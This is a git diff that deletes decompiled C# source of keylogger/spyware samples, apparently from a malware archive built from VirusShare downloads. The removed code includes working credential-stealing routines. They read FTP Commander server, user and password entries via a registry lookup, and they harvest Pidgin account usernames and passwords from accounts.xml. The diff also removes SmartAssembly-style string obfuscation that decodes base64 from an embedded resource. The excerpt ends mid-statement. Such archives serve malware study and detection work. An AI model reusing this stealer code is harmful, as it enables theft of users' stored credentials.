strArray2 = Strings.Split(strArray1[1], stext2); -label_3: - num3 = 4; - str1 = strArray2[0]; - goto label_10; -label_5: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_10; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_5; - } - throw ProjectData.CreateProjectError(-2146828237); -label_10: - string str2 = str1; - if (num2 == 0) - return str2; - ProjectData.ClearProjectError(); - return str2; - } - - public static string PNOZwQBwIFA6fADjdTJc(string hKey) - { -label_0: - int num1; - string str1; - int num2; - try - { - int num3 = 1; - object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("WScript.Shell")); -label_1: - ProjectData.ClearProjectError(); - num1 = -2; -label_2: - num3 = 3; - object Instance = objectValue; - object[] objArray = new object[1]{ (object) hKey }; - object[] Arguments = objArray; - bool[] flagArray = new bool[1]{ true }; - bool[] CopyBack = flagArray; - object obj = NewLateBinding.LateGet(Instance, (Type) null, "RegRead", Arguments, (string[]) null, (Type[]) null, CopyBack); - if (flagArray[0]) - hKey = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[0]), typeof (string)); - str1 = Conversions.ToString(obj); - goto label_11; -label_6: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_11; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_6; - } - throw ProjectData.CreateProjectError(-2146828237); -label_11: - string str2 = str1; - if (num2 == 0) - return str2; - ProjectData.ClearProjectError(); - return str2; - } - - public static string W3zSkshAUEroUkce3rOG( - string a1yInSuQosqp9wCxEoSg5, - int UzoruJjMeeIx5Ae9gLJ7) - { - string str; - try - { - string[] strArray = MyProject.Computer.FileSystem.ReadAllText(a1yInSuQosqp9wCxEoSg5, Encoding.Default).Split('\r'); - str = UzoruJjMeeIx5Ae9gLJ7 <= 0 ? (UzoruJjMeeIx5Ae9gLJ7 >= 0 ? "" : strArray[checked (strArray.Length + UzoruJjMeeIx5Ae9gLJ7 - 1)]) : strArray[checked (UzoruJjMeeIx5Ae9gLJ7 - 1)]; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = ""; - ProjectData.ClearProjectError(); - } - return str; - } - - public static string eZM1nfSwL2SqQ8rVRi4H() - { - string sInhalt = Stealers.W3zSkshAUEroUkce3rOG(Strings.Replace(Stealers.PNOZwQBwIFA6fADjdTJc("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\FTP Commander\\UninstallString"), "uninstall.exe", (string) null) + "Ftplist.txt", -1); - string str1 = Stealers.lIIZeYhDi94sWeuqjYma(sInhalt, ";Server=", ";Port="); - string str2 = Stealers.lIIZeYhDi94sWeuqjYma(sInhalt, ";Port=", ";Password="); - string Left = Stealers.lIIZeYhDi94sWeuqjYma(sInhalt, ";User=", ";Anonymous="); - string str3 = Stealers.lIIZeYhDi94sWeuqjYma(sInhalt, ";Password=", ";User="); - string str4 = Stealers.lIIZeYhDi94sWeuqjYma(sInhalt, "Name=", ";Server="); - string str5; - if (Operators.CompareString(Left, "", false) != 0) - { - try - { - str5 = "Entry: " + str4 + "\r\nHost: " + str1 + ":" + str2 + "\r\nUser: " + Left + "\r\nPwd: " + str3; - string text = "\r\n"; - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("============FTP Commander=============="); - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("Entry: " + str4); - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("Host: " + str1); - MyProject.Forms.Form1.ztext.AppendText(": " + str2); - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("User: " + Left); - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("Password: " + str3); - MyProject.Forms.Form1.ztext.AppendText("============================="); - MyProject.Forms.Form1.ztext.AppendText(text); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - return str5; - } - - public static string a3a5BUuMotnLNQr4ppdR3() - { - XmlDocument xmlDocument = new XmlDocument(); - object Left = (object) null; - string str1 = ""; - string str2 = Interaction.Environ("appdata") + "\\.purple\\accounts.xml"; - if (File.Exists(str2)) - { - try - { - xmlDocument.Load(str2); - XmlNodeList elementsByTagName1 = xmlDocument.GetElementsByTagName("protocol"); - XmlNodeList elementsByTagName2 = xmlDocument.GetElementsByTagName("name"); - XmlNodeList elementsByTagName3 = xmlDocument.GetElementsByTagName("password"); - int num = checked (elementsByTagName1.Count - 1); - int i1 = 0; - while (i1 <= num) - { - Left = Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Left, (object) "Pidgin Stealer Logs!"), (object) "\r\n"), (object) "Protocol: "), (object) elementsByTagName1[i1].InnerText), (object) "\r\n"), (object) "Username: "), (object) elementsByTagName2[i1].InnerText), (object) "\r\n"), (object) "Password: "), (object) elementsByTagName3[i1].InnerText), (object) "\r\n"), (object) "\r\n"); - checked { ++i1; } - } - string text = "\r\n"; - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("============Pidgin=============="); - MyProject.Forms.Form1.ztext.AppendText(text); - int i2; - MyProject.Forms.Form1.ztext.AppendText("Username: " + elementsByTagName2[i2].InnerText); - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("Password: " + elementsByTagName3[i2].InnerText); - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("============================="); - MyProject.Forms.Form1.ztext.AppendText(text); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - string text = "\r\n"; - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("============Pidgin=============="); - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("Pidgin Not Installed!"); - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("============================="); - MyProject.Forms.Form1.ztext.AppendText(text); - ProjectData.ClearProjectError(); - } - } - return str1; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Trojan-Spy.MSIL.KeyLogger.ajb.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Trojan-Spy.MSIL.KeyLogger.ajb.csproj deleted file mode 100644 index 28490c16..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Trojan-Spy.MSIL.KeyLogger.ajb.csproj +++ /dev/null @@ -1,56 +0,0 @@ - - - - - Debug - AnyCPU - {517BF629-3D89-4B39-B50F-12C897A93A06} - WinExe - Publicloggerversionztub - 2.0.0.2 - AHSJKHwyIUYUIYIYI8sOIioOID - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Trojan-Spy.MSIL.KeyLogger.ajb.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Trojan-Spy.MSIL.KeyLogger.ajb.sln deleted file mode 100644 index 805f8b8a..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Trojan-Spy.MSIL.KeyLogger.ajb.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Publicloggerversionztub", "Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f.csproj", "{517BF629-3D89-4B39-B50F-12C897A93A06}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {517BF629-3D89-4B39-B50F-12C897A93A06}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {517BF629-3D89-4B39-B50F-12C897A93A06}.Debug|Any CPU.Build.0 = Debug|Any CPU - {517BF629-3D89-4B39-B50F-12C897A93A06}.Release|Any CPU.ActiveCfg = Release|Any CPU - {517BF629-3D89-4B39-B50F-12C897A93A06}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/AssemblyInfo.cs deleted file mode 100644 index a3545434..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/AssemblyInfo.cs +++ /dev/null @@ -1,11 +0,0 @@ -using SmartAssembly.Attributes; -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyTitle("d1a3l0ss asdf")] -[assembly: Guid("715cab6e-1d62-4b09-9f5b-fc33d23d86e2")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyCopyright("asdfgasdf © 2012")] -[assembly: PoweredBy("asdfsaf as {asdfgasdfsafg}")] -[assembly: AssemblyProduct("d1a3l0ss asdf")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/SmartAssembly/Attributes/PoweredByAttribute.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/SmartAssembly/Attributes/PoweredByAttribute.cs deleted file mode 100644 index c15dc7be..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/SmartAssembly/Attributes/PoweredByAttribute.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.Attributes.PoweredByAttribute -// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe - -using System; - -namespace SmartAssembly.Attributes -{ - public sealed class PoweredByAttribute : Attribute - { - public PoweredByAttribute(string s) - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/Trojan-Spy.MSIL.KeyLogger.aml.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/Trojan-Spy.MSIL.KeyLogger.aml.csproj deleted file mode 100644 index 1ecd3303..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/Trojan-Spy.MSIL.KeyLogger.aml.csproj +++ /dev/null @@ -1,62 +0,0 @@ - - - - - Debug - AnyCPU - {BC3B5A79-FF64-4749-9148-6B93086D747D} - WinExe - d1a3l0s - 1.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/Trojan-Spy.MSIL.KeyLogger.aml.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/Trojan-Spy.MSIL.KeyLogger.aml.sln deleted file mode 100644 index 0e697002..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/Trojan-Spy.MSIL.KeyLogger.aml.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "d1a3l0s", "Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.csproj", "{BC3B5A79-FF64-4749-9148-6B93086D747D}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {BC3B5A79-FF64-4749-9148-6B93086D747D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {BC3B5A79-FF64-4749-9148-6B93086D747D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {BC3B5A79-FF64-4749-9148-6B93086D747D}.Release|Any CPU.ActiveCfg = Release|Any CPU - {BC3B5A79-FF64-4749-9148-6B93086D747D}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0001/_0001.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0001/_0001.cs deleted file mode 100644 index 661fe343..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0001/_0001.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe - -namespace \u0001 -{ - internal delegate string \u0001(int i); -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0001/_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0001/_0002.cs deleted file mode 100644 index 36ca8a49..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0001/_0002.cs +++ /dev/null @@ -1,53 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe - -using \u0001; -using System; -using System.Diagnostics; -using System.Reflection; -using System.Reflection.Emit; - -namespace \u0001 -{ - internal static class \u0002 - { - public static void \u0002() - { - Type declaringType = new StackTrace().GetFrame(1).GetMethod().DeclaringType; - foreach (FieldInfo field in declaringType.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField)) - { - try - { - if ((object) field.FieldType == (object) typeof (\u0001.\u0001)) - { - DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, typeof (string), new Type[1] - { - typeof (int) - }, declaringType, true); - ILGenerator ilGenerator = dynamicMethod.GetILGenerator(); - ilGenerator.Emit(OpCodes.Ldarg_0); - foreach (MethodInfo method in typeof (\u0003).GetMethods(BindingFlags.Static | BindingFlags.Public)) - { - if ((object) method.ReturnType == (object) typeof (string)) - { - ilGenerator.Emit(OpCodes.Ldc_I4, field.MetadataToken & 16777215); - ilGenerator.Emit(OpCodes.Sub); - ilGenerator.Emit(OpCodes.Call, method); - break; - } - } - ilGenerator.Emit(OpCodes.Ret); - field.SetValue((object) null, (object) (\u0001.\u0001) dynamicMethod.CreateDelegate(typeof (\u0001.\u0001))); - break; - } - } - catch - { - } - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0001/_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0001/_0003.cs deleted file mode 100644 index 134e21ed..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0001/_0003.cs +++ /dev/null @@ -1,118 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe - -using \u0001; -using System; -using System.Collections; -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Text; - -namespace \u0001 -{ - internal sealed class \u0003 - { - [NonSerialized] - internal static \u0001.\u0001 \u0001; - private static string \u0001; - private static string \u0002; - private static byte[] \u0001; - private static Hashtable \u0001; - private static bool \u0001; - private static int \u0001; - - public static string \u0002([In] int obj0) - { - obj0 -= \u0003.\u0001; - if (\u0003.\u0001) - { - string str = (string) \u0003.\u0001[(object) obj0]; - if (str != null) - return str; - } - int num1 = obj0; - byte[] numArray1 = \u0003.\u0001; - int index1 = num1; - int index2 = index1 + 1; - int num2 = (int) numArray1[index1]; - int count; - if ((num2 & 128) == 0) - { - count = num2; - if (count == 0) - return string.Empty; - } - else if ((num2 & 64) == 0) - { - count = ((num2 & 63) << 8) + (int) \u0003.\u0001[index2++]; - } - else - { - int num3 = (num2 & 31) << 24; - byte[] numArray2 = \u0003.\u0001; - int index3 = index2; - int num4 = index3 + 1; - int num5 = (int) numArray2[index3] << 16; - int num6 = num3 + num5; - byte[] numArray3 = \u0003.\u0001; - int index4 = num4; - int num7 = index4 + 1; - int num8 = (int) numArray3[index4] << 8; - int num9 = num6 + num8; - byte[] numArray4 = \u0003.\u0001; - int index5 = num7; - index2 = index5 + 1; - int num10 = (int) numArray4[index5]; - count = num9 + num10; - } - try - { - byte[] bytes = Convert.FromBase64String(Encoding.UTF8.GetString(\u0003.\u0001, index2, count)); - string str = string.Intern(Encoding.UTF8.GetString(bytes, 0, bytes.Length)); - if (\u0003.\u0001) - { - try - { - \u0003.\u0001.Add((object) obj0, (object) str); - } - catch - { - } - } - return str; - } - catch - { - return (string) null; - } - } - - static \u0003() - { - \u0002.\u0002(); - \u0003.\u0001 = "0"; - \u0003.\u0002 = "161"; - \u0003.\u0001 = (byte[]) null; - \u0003.\u0001 = (Hashtable) null; - \u0003.\u0001 = false; - \u0003.\u0001 = 0; - if (\u0003.\u0001 == "1") - { - \u0003.\u0001 = true; - \u0003.\u0001 = new Hashtable(); - } - \u0003.\u0001 = Convert.ToInt32(\u0003.\u0002); - using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream("{50a68cbd-55ea-4e40-8dcb-f2a44dfb42de}")) - { - int int32 = Convert.ToInt32(manifestResourceStream.Length); - \u0003.\u0001 = new byte[int32]; - manifestResourceStream.Read(\u0003.\u0001, 0, int32); - manifestResourceStream.Close(); - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0002/_0001.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0002/_0001.cs deleted file mode 100644 index 892502fd..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0002/_0001.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe - -using \u0002; -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0002 -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class \u0001 : WindowsFormsApplicationBase - { - [EditorBrowsable(EditorBrowsableState.Advanced)] - [STAThread] - internal static void \u0002([In] string[] obj0) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - \u0003.\u0002().Run(obj0); - } - - public \u0001() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - protected override void OnCreateMainForm() => this.MainForm = (Form) \u0003.\u0002().\u0002(); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0002/_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0002/_0002.cs deleted file mode 100644 index 9f3fe7d4..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0002/_0002.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace \u0002 -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class \u0002 : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0002() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0002/_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0002/_0003.cs deleted file mode 100644 index 9f39dc6a..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0002/_0003.cs +++ /dev/null @@ -1,148 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0002 -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class \u0003 - { - private static readonly \u0002.\u0003.\u0003<\u0002.\u0002> \u0001 = new \u0002.\u0003.\u0003<\u0002.\u0002>(); - private static readonly \u0002.\u0003.\u0003<\u0002.\u0001> \u0001 = new \u0002.\u0003.\u0003<\u0002.\u0001>(); - private static readonly \u0002.\u0003.\u0003 \u0001 = new \u0002.\u0003.\u0003(); - private static \u0002.\u0003.\u0003<\u0002.\u0003.\u0001> \u0001 = new \u0002.\u0003.\u0003<\u0002.\u0003.\u0001>(); - private static readonly \u0002.\u0003.\u0003<\u0002.\u0003.\u0002> \u0001 = new \u0002.\u0003.\u0003<\u0002.\u0003.\u0002>(); - - [SpecialName] - internal static \u0002.\u0002 \u0002() => \u0002.\u0003.\u0001.\u0002(); - - [SpecialName] - internal static \u0002.\u0001 \u0002() => \u0002.\u0003.\u0001.\u0002(); - - [SpecialName] - internal static \u0002.\u0003.\u0001 \u0002() => \u0002.\u0003.\u0001.\u0002(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0001 - { - [NonSerialized] - internal static \u0001.\u0001 \u0001; - public \u0003.\u0003 \u0001; - [ThreadStatic] - private static Hashtable \u0001; - - [SpecialName] - public \u0003.\u0003 \u0002() - { - this.\u0001 = \u0002.\u0003.\u0001.\u0002<\u0003.\u0003>(this.\u0001); - return this.\u0001; - } - - private static T \u0002([In] T obj0) where T : Form, new() - { - if ((object) obj0 != null && !obj0.IsDisposed) - return obj0; - if (\u0002.\u0003.\u0001.\u0001 != null) - { - if (\u0002.\u0003.\u0001.\u0001.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString(\u0002.\u0003.\u0001.\u0001(180))); - } - else - \u0002.\u0003.\u0001.\u0001 = new Hashtable(); - \u0002.\u0003.\u0001.\u0001.Add((object) 